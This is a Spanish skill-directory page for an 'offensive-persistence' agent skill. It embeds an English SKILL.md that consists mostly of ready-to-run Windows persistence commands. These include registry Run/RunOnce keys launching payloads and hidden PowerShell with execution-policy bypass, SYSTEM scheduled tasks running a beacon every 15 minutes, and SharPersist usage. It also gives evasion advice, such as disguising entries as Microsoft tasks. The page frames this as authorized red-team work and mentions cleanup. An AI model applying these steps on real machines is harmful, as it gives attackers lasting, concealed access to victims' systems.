offensive-persistence
Qué hace
Esta skill cubre técnicas de persistencia en Windows y Linux que los equipos rojos prueban en trabajos autorizados, como las claves de inicio automático, las tareas programadas y los servicios. Destaca los métodos reversibles y la eliminación limpia. Es para profesionales de seguridad con permiso por escrito.
Cuándo usarla
- ✓Cuando quieres comprobar si un atacante podría mantener el acceso tras un reinicio, en una prueba autorizada.
- ✓Cuando necesitas revisar las ubicaciones de inicio automático, las tareas programadas o los servicios de una máquina Windows.
- ✓Cuando quieres registrar cada mecanismo de persistencia para poder eliminarlo al final del trabajo.
Link de la skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Tenemos autorización para probar nuestros equipos Windows. Comprueba qué mecanismos de persistencia son posibles y documenta cómo eliminarlos.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
La skill comprueba primero tu nivel de privilegios y el sistema operativo del objetivo. Después elige un mecanismo adecuado, valida que sobreviva a un reinicio y registra la ubicación exacta para la limpieza.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Offensive Persistence
Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.
This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.
Quick Workflow
- Assess your current privilege level (user-level vs admin/root vs domain admin).
- Identify the target OS version and security controls in place.
- Select a persistence mechanism matching your access level and stealth needs.
- Validate the persistence survives a reboot or logoff event.
- Document the exact mechanism and location for cleanup during engagement close.
- Layer multiple persistence methods at different privilege levels when scope allows.
- Prefer reversible methods that you can fully remove during remediation.
Windows: Registry Autostart
Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.
# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f
Using SharPersist for operational convenience:
# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add
# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list
# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove
Additional autostart locations you should know:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.
Windows: Scheduled Tasks
Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.
# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f
# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f
SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon
Using PowerShell for more control:
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
OPSEC note: Nest task names under existing Microsoft directories (e.g.,
Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.
Windows: WMI Event
Preguntas frecuentes
¿Por qué la skill prefiere los métodos reversibles?
La skill indica que hay que usar métodos que se puedan eliminar por completo durante la remediación, para que el cliente quede limpio.
¿Qué técnicas de Windows cubre?
Cubre las claves de inicio automático del registro, las tareas programadas, las suscripciones WMI y la creación de servicios, entre otras.
¿Es solo para pruebas autorizadas?
Sí. Está escrita para trabajos con permiso por escrito.
Detalles
Descripción original del autor
Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backd
repo: SnailSploit/Claude-Red
Popularidad
- Estrellas en GitHub
- 10 mil
- Posición en el ranking
- #11966
- Licencia
- MIT
- Actualizada
- 12/10/2026
Comentarios
- …
Más skills de este repositorio
offensive-active-directory
10 milAyuda a tu agente a planificar una prueba de seguridad autorizada de Active Directory, desde mapear la red hasta encontrar rutas de ataque a Domain Admin.
offensive-netexec
10 milAyuda a tu agente a usar la herramienta NetExec (nxc) para pruebas de red autorizadas, cubriendo protocolos, autenticación y comprobaciones de credenciales.
offensive-api-abuse
10 milAyuda a tu agente a planificar pruebas de seguridad de API autorizadas que buscan abusos de la lógica de negocio, riesgos de GraphQL y condiciones de carrera.
offensive-api-security
10 milAyuda a tu agente a realizar pruebas de seguridad autorizadas en APIs REST, gRPC y WebSocket, basadas en el OWASP API Top 10.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.